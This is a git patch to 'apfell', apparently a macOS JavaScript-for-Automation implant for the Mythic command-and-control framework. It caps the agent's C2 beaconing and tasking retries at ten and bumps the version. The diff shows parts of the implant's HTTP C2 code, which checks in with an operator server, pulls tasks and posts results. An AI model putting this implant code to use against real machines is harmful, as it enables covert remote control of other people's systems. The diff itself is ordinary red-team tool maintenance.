From c45ac8922c77d4628b1f967e1e25f10913737f90 Mon Sep 17 00:00:00 2001 From: its-a-feature Date: Mon, 25 Mar 2024 09:55:41 -0500 Subject: [PATCH] v0.1.4 added max retry bounds of 10 for all messages except staging/checkin messages --- Payload_Type/apfell/apfell/CHANGELOG.MD | 5 +++++ .../apfell/apfell/agent_code/base/apfell-jxa.js | 1 + .../apfell/agent_code/c2_profiles/dynamichttp.js | 11 +++++++++-- .../apfell/apfell/agent_code/c2_profiles/http.js | 13 ++++++++++--- .../apfell/apfell/agent_functions/builder.py | 4 ++-- agent_capabilities.json | 2 +- 6 files changed, 28 insertions(+), 8 deletions(-) create mode 100644 Payload_Type/apfell/apfell/CHANGELOG.MD diff --git a/Payload_Type/apfell/apfell/CHANGELOG.MD b/Payload_Type/apfell/apfell/CHANGELOG.MD new file mode 100644 index 0000000..7824ef5 --- /dev/null +++ b/Payload_Type/apfell/apfell/CHANGELOG.MD @@ -0,0 +1,5 @@ +## [v0.1.4] - 2024-03-25 + +### Changed + +- Updated message sending functions to loop a max of 10 times per message before aborting. diff --git a/Payload_Type/apfell/apfell/agent_code/base/apfell-jxa.js b/Payload_Type/apfell/apfell/agent_code/base/apfell-jxa.js index 4a6647b..1a428d5 100755 --- a/Payload_Type/apfell/apfell/agent_code/base/apfell-jxa.js +++ b/Payload_Type/apfell/apfell/agent_code/base/apfell-jxa.js @@ -25,6 +25,7 @@ class agent{ this.args = ObjC.deepUnwrap(this.procInfo.arguments); this.osVersion = this.procInfo.operatingSystemVersionString.js; this.uuid = "UUID_HERE"; + this.checked_in = false; } } var apfell = new agent(); diff --git a/Payload_Type/apfell/apfell/agent_code/c2_profiles/dynamichttp.js b/Payload_Type/apfell/apfell/agent_code/c2_profiles/dynamichttp.js index ea76c5e..e4af966 100644 --- a/Payload_Type/apfell/apfell/agent_code/c2_profiles/dynamichttp.js +++ b/Payload_Type/apfell/apfell/agent_code/c2_profiles/dynamichttp.js @@ -379,12 +379,14 @@ class customC2 extends baseC2{ jsondata = this.make_request("POST", apfell.uuid, info); } apfell.id = jsondata.id; + apfell.checked_in = true; // if we fail to get an ID number then exit the application if(apfell.id === undefined){ $.NSApplication.sharedApplication.terminate(this); } return jsondata; } getTasking(){ - while(true){ + // bail after 10 attempts + for(let i = 0; i < 10; i++){ try{ let task = this.make_request("GET", apfell.id, {"tasking_size":1, "action": "get_tasking"}); return task['tasks']; @@ -394,6 +396,7 @@ class customC2 extends baseC2{ $.NSThread.sleepForTimeInterval(this.gen_sleep_time()); // don't spin out crazy if the connection fails } } + return []; } postResponse(task, data){ //depending on the amount of data we're sending, we might need to chunk it @@ -402,7 +405,9 @@ class customC2 extends baseC2{ return this.make_request("POST", apfell.id, postData ); } make_request(method="POST", uid=apfell.id, data=null){ - while(true){ + for(let i = 0; i < 10; i++){ + // try to send a message 10 times and drop it if we still can't send it unless we're trying to stage + if(!apfell.checked_in){i = 0;} try{ let req; if(method === "POST"){ @@ -452,7 +457,9 @@ class customC2 extends baseC2{ //console.log("error in make_request: " + error.toString()); $.NSThread.sleepForTimeInterval(this.gen_sleep_time()); // don't spin out crazy if the connection fails } + } + return {}; } download(task, params){ let output = ""; diff --git a/Payload_Type/apfell/apfell/agent_code/c2_profiles/http.js b/Payload_Type/apfell/apfell/agent_code/c2_profiles/http.js index 2a5c49b..0069d07 100644 --- a/Payload_Type/apfell/apfell/agent_code/c2_profiles/http.js +++ b/Payload_Type/apfell/apfell/agent_code/c2_profiles/http.js @@ -240,13 +240,14 @@ class customC2 extends baseC2{ var jsondata = this.htmlPostData(info, apfell.uuid); } apfell.id = jsondata.id; + apfell.checked_in = true; // if we fail to get a new ID number, then exit the application if(apfell.id === undefined){ $.NSApplication.sharedApplication.terminate(this); } //console.log(apfell.id); return jsondata; } getTasking(){ - while(true){ + for(let i = 0; i < 10; i++){ try{ //let data = {"tasking_size":1, "action": "get_tasking"}; //let task = this.htmlPostData(this.url, data, apfell.id); @@ -259,6 +260,7 @@ class customC2 extends baseC2{ $.NSThread.sleepForTimeInterval(this.gen_sleep_time()); // don't spin out crazy if the connection fails } } + return []; } postResponse(task, output){ // this will get the task object and the response output @@ -285,7 +287,8 @@ class customC2 extends baseC2{ data = $(uid + JSON.stringify(sendData)).dataUsingEncoding($.NSUTF8StringEncoding); data = data.base64EncodedStringWithOptions(0); } - while(true){ + for(let i = 0; i < 10; i++){ + if(!apfell.checked_in){i = 0;} try{ //for some reason it sometimes randomly fails to send the data, throwing a JSON error. loop to fix for now //console.log("posting: " + sendData + " to " + urlEnding); if( $.NSDate.date.compare(this.kill_date) === $.NSOrderedDescending ){ @@ -349,7 +352,9 @@ class customC2 extends baseC2{ //console.log(error.toString()); $.NSThread.sleepForTimeInterval(this.gen_sleep_time()); // don't spin out crazy if the connection fails } + } + return {}; } htmlGetData(){ let data = {"tasking_size":1, "action": "get_tasking"}; @@ -364,7 +369,8 @@ class customC2 extends baseC2{ let url = this.baseurl; if(this.getURI !== ""){ url += "/" + this.getURI; } url += "?" + this.queryPathName + "=" + data; - while(true){ + for(let i = 0; i < 10; i++){ + if(!apfell.checked_in){i = 0} try{ if( $.NSDate.date.compare(this.kill_date) === $.NSOrderedDescending ){ $.NSApplication.sharedApplication.terminate(this); @@ -414,6 +420,7 @@ class customC2 extends baseC2{ $.NSThread.sleepForTimeInterval(this.gen_sleep_time()); //wait timeout seconds and try again } } + return {}; } download(task, params){ // download just has one parameter of the path of the file to download diff --git a/Payload_Type/apfell/apfell/agent_functions/builder.py b/Payload_Type/apfell/apfell/agent_functions/builder.py index ad93284..9ca0955 100644 --- a/Payload_Type/apfell/apfell/agent_functions/builder.py +++ b/Payload_Type/apfell/apfell/agent_functions/builder.py @@ -5,7 +5,7 @@ from mythic_container.MythicRPC import * import json - +version = "0.1.4" class Apfell(PayloadType): name = "apfell" file_extension = "js" @@ -13,7 +13,7 @@ class Apfell(PayloadType): supported_os = [SupportedOS.MacOS] wrapper = False wrapped_payloads = [] - note = """This payload uses JavaScript for Automation (JXA) for execution on macOS boxes. Version 0.1.3""" + note = f"This payload uses JavaScript for Automation (JXA) for execution on macOS boxes. Version {version}" supports_dynamic_loading = True c2_profiles = ["http", "dynamichttp"] mythic_encrypts = True diff --git a/agent_capabilities.json b/agent_capabilities.json index 1b519d5..b1fa5e5 100644 --- a/agent_capabilities.json +++ b/agent_capabilities.json @@ -10,6 +10,6 @@ "architectures": ["x86_64", "arm_64"], "c2": ["http", "dynamichttp"], "mythic_version": "3.2", - "agent_version": "0.1.3", + "agent_version": "0.1.4", "supported_wrappers": [] } \ No newline at end of file